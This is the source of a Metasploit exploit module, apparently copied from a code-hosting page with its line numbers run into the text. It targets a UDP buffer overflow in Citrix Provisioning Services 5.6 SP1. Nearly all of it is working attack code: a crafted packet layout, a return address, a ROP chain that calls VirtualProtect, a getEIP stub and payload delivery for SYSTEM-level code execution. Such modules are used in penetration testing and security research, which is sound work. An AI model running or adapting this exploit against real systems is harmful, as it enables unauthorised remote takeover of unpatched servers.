Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020002 Buffer Overflow',13'Description' => %q{14This module exploits a remote buffer overflow in the Citrix Provisioning Services155.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet with the opcode160x40020002 (GetFooterRequest) to the 6905/UDP port. The module, which allows code execution17under the context of SYSTEM, has been successfully tested on Windows Server 2003 SP218and Windows XP SP3.19},20'License' => MSF_LICENSE,21'Author' =>22[23'alino <26alino[at]gmail.com>', # citrix_streamprocess_data_msg author24'juan vazquez' # Metasploit module25],26'References' =>27[28['OSVDB', '75780'],29['BID', '49803'],30['URL', 'http://support.citrix.com/article/CTX130846']31],32'DefaultOptions' =>33{34'EXITFUNC' => 'process',35'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',36},37'Payload' =>38{39'BadChars' => "\x00",40'EncoderOptions' => {'BufferRegister'=>'ECX'},41},42'Platform' => ['win'],43'Targets' =>44[45[ 'Citrix Provisioning Services 5.6 SP1',46{47'Offset' => 5596,48'Ret' => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe49}50]51],52'Privileged' => true,53'DisclosureDate' => '2011-11-04', #CTX130846 creation date54'DefaultTarget' => 0))5556register_options([Opt::RPORT(6905)])57end5859def exploit6061packet = "\x02\x00\x02\x40" # DATA MSG62packet << rand_text_alpha_upper(18)63packet << "\x00\x00\x00\x00" # Length64packet << rand_text_alpha_upper(target['Offset'])65packet << [target.ret].pack('V')6667rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe6869rop_gadgets =70[710x0045b141, # POP EAX; RETN streamprocess.exe720x1009a1bc, # VirtualProtect()730x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe740x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe750x004ad0cf, # POP EBP; RETN streamprocess.exe760x00455d9d, # PUSH ESP; RETN streamprocess.exe770x00497f5a, # POP EAX; RETN streamprocess.exe780xfffff9d0, # dwSize790x00447669, # NEG EAX; RETN streamprocess.exe800x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe810x00426305, # POP ECX; RETN streamprocess.exe820x00671fb9, # lpflOldProtect830x004e41e6, # POP EDI; RETN streamprocess.exe840x0040f004, # RETN streamprocess.exe850x00495c05, # POP EAX; RETN streamprocess.exe860xffffffc0, # flNewProtect870x0042c79a, # NEG EAX; RETN streamprocess.exe880x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe890x0045c1fa, # POP EAX; RETN streamprocess.exe900x90909090, # NOP910x00435bbe, # PUSHAD; RETN streamprocess.exe92].pack("V*")9394packet[398, rop_nop.length] = rop_nop95packet[550, rop_gadgets.length] = rop_gadgets96# Put payload address in ecx97geteip = "\xeb\x03" # jmp short 0x598geteip << "\x59" # pop ecx99geteip << "\xff\xd1" # call ecx100geteip << "\xe8\xf8\xff\xff\xff" # call to "pop / call"101packet[634, 10] = geteip102packet[644, payload.encoded.length] = payload.encoded103104print_status("Trying target #{target.name}...")105106connect_udp107udp_sock.put(packet)108109handler110disconnect_udp111end112end113114115